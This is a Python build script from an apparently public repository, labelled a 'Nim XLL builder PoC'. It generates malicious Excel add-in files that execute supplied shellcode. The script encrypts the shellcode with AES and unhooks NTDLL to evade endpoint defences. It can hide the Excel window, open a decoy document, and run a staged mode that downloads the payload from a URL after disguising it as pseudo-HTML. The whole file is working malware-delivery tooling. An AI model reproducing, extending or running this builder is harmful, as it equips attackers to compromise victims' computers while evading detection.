-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathbuild.py
More file actions
206 lines (148 loc) · 5.9 KB
/
Copy pathbuild.py
File metadata and controls
206 lines (148 loc) · 5.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
import argparse
import base64
import os
import random
import shutil
from binascii import hexlify
from Crypto.Cipher import AES
from Crypto.Util import Counter
banner = """
_ _
| | |
_ _ _ _ ____ ____| | | ____
( \\ / ) | | |/ ___) _ ) | |/ _ |
) X (| |_| | | ( (/ /| | ( ( | |
(_/ \\_)\\__ |_| \\____)_|_|\\_||_|
(____/ Nim XLL builder PoC v0.2.1
"""
print(banner)
def encode_shellcode(sc_bytes):
STATE_OPEN = "<"
STATE_CLOSE = ">"
STATE_CLOSETAG = "/>"
STATE_EQUALS = " = "
STATE_PAYLOADTAG = "x"
STATE_PAYLOADBODY = "y"
STATE_TAGSPACE = "STATE_TAGSPACE"
STATE_BODYSPACE = "STATE_BODYSPACE"
STATE_CRLF = "\n"
transitions = {
STATE_OPEN : { STATE_PAYLOADTAG: 1 },
STATE_CLOSE : { STATE_PAYLOADBODY: 1 },
STATE_CLOSETAG : { STATE_OPEN: 1 },
STATE_EQUALS : { STATE_PAYLOADTAG: 1 },
STATE_PAYLOADTAG : {STATE_PAYLOADTAG: 0.5, STATE_CLOSETAG: 0.15, STATE_CLOSE: 0.15, STATE_TAGSPACE: 0.1, STATE_EQUALS: 0.1},
STATE_PAYLOADBODY : {STATE_PAYLOADBODY: 0.775, STATE_BODYSPACE: 0.1, STATE_CRLF: 0.025, STATE_OPEN: 0.1},
STATE_TAGSPACE : { STATE_PAYLOADTAG: 1 },
STATE_BODYSPACE : { STATE_PAYLOADBODY: 1 },
STATE_CRLF : { STATE_PAYLOADBODY: 1 }
}
to_encode = base64.urlsafe_b64encode(sc_bytes)
out = ""
current_state = STATE_OPEN
encoded_chars = 0
out += "<html>\n"
while encoded_chars < len(to_encode):
if current_state in [STATE_BODYSPACE, STATE_TAGSPACE]:
out += " "
elif current_state in [STATE_PAYLOADTAG, STATE_PAYLOADBODY]:
out += chr(to_encode[encoded_chars])
encoded_chars += 1
else:
out += current_state
current_state = random.choices(list(transitions[current_state].keys()), list(transitions[current_state].values()))[0]
out += "\n</html>"
return out
def bytes_to_nimarr(bytestr, varname, genconst=False):
byteenum = ""
for i in bytestr:
byteenum += "{0:#04x}, ".format(i)
if genconst:
return "const "+varname+": array[{}, byte] = [byte {}]".format(len(bytestr), byteenum[:-2])
return "var "+varname+": array[{}, byte] = [byte {}]".format(len(bytestr), byteenum[:-2])
parser = argparse.ArgumentParser()
staging = parser.add_argument_group('staging arguments')
staging.add_argument("-u", "--stageurl", type=str,
help="URL to stage from (if staged, optional)")
stageless = parser.add_argument_group('stageless arguments')
stageless.add_argument("-e", "--encrypt", action="store_true",
help="encrypt shellcode (aes128-cbc)")
compilation = parser.add_argument_group('compilation arguments')
compilation.add_argument("-n", "--skip-unhook", action="store_true",
help="do not do NTDLL unhooking")
compilation.add_argument("-w", "--hidewindow", action="store_true",
help="hide excel window during execution")
compilation.add_argument("-d", "--decoy", type=str,
help="path to the decoy file to open on startup (optional)")
compilation.add_argument("-v", "--verbose", action="store_true",
help="increase output verbosity")
compilation.add_argument("-o", "--output", type=str, default="addin.xll",
help="path to store the resulting .XLL file (optional)")
required = parser.add_argument_group('required arguments')
required.add_argument("-s", "--shellcode", type=str,
help="path to shellcode .bin (required)", required=True)
args = parser.parse_args()
with open("xll_template.nim", "r") as f:
template_str = f.read()
compile_template = "nim c --app:lib --passL:\"-static-libgcc -static -lpthread\" --hints:off --define:excel {cmdline_args} --nomain --out:{outfile} --threads:on {filename}"
cmdline_args = ""
if os.name != 'nt':
print("| cross-compilation unstable")
cmdline_args += "--define:mingw --cpu:amd64 "
if not args.skip_unhook:
cmdline_args += "--define:unhook "
print("| NTDLL unhooking: on")
else:
print("| NTDLL unhooking: off")
if args.hidewindow:
cmdline_args += "--define:hidewindow "
print("| hide excel window: on")
else:
print("| hide excel window: off")
print("| release mode: off")
if args.stageurl is None:
if args.encrypt:
print("| generating stageless payload")
print("| encryption: on")
cmdline_args += "--define:encrypted "
with open(args.shellcode, "rb") as f:
scode_bytes = f.read()
key = os.urandom(16)
iv = os.urandom(16)
ctr = Counter.new(128, initial_value=int(hexlify(iv), 16))
cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
encdata = cipher.encrypt(scode_bytes)
xll_nim = template_str.replace("#[ KEY_STR ]#", bytes_to_nimarr(key, "aeskey", True))
xll_nim = xll_nim.replace("#[ IV_STR ]#", bytes_to_nimarr(iv, "aesiv", True))
xll_nim = xll_nim.replace("#[ ENC_SC ]#", bytes_to_nimarr(encdata, "aesdata", True))
else:
print("| generating stageless payload")
print("| encryption: off")
with open(args.shellcode, "rb") as f:
scode_bytes = f.read()
bytes_template = bytes_to_nimarr(scode_bytes, "shellcode")
xll_nim = template_str.replace('echo "%SHELLCODE_ARRAY%"', bytes_template)
else:
print("| generating staged payload")
cmdline_args += "--define:staged "
if args.verbose:
print(" \\ URL:", args.stageurl)
with open(args.shellcode, "rb") as f:
scode_bytes = f.read()
with open(args.shellcode+".html", "w") as f:
f.write(encode_shellcode(scode_bytes))
print("| encoded shellcode saved as", args.shellcode+".html")
xll_nim = template_str.replace('%STAGINGURL%', args.stageurl)
if args.decoy is not None:
print("| decoy file:", args.decoy)
xll_nim = xll_nim.replace("%DECOYFILE%", os.path.split(args.decoy)[1])
xll_nim = xll_nim.replace("%DECOYPATH%", args.decoy)
cmdline_args += "--define:decoy "
tempname = "temp_xll_{}.nim".format(random.randint(1,50))
with open(tempname, "w") as f:
f.write(xll_nim)
if args.verbose:
print(" \\ command line:", compile_template.format(cmdline_args=cmdline_args, outfile=args.output, filename=tempname))
os.system(compile_template.format(cmdline_args=cmdline_args, outfile=args.output, filename=tempname))
os.remove(tempname)
print("! should be saved to: ", args.output)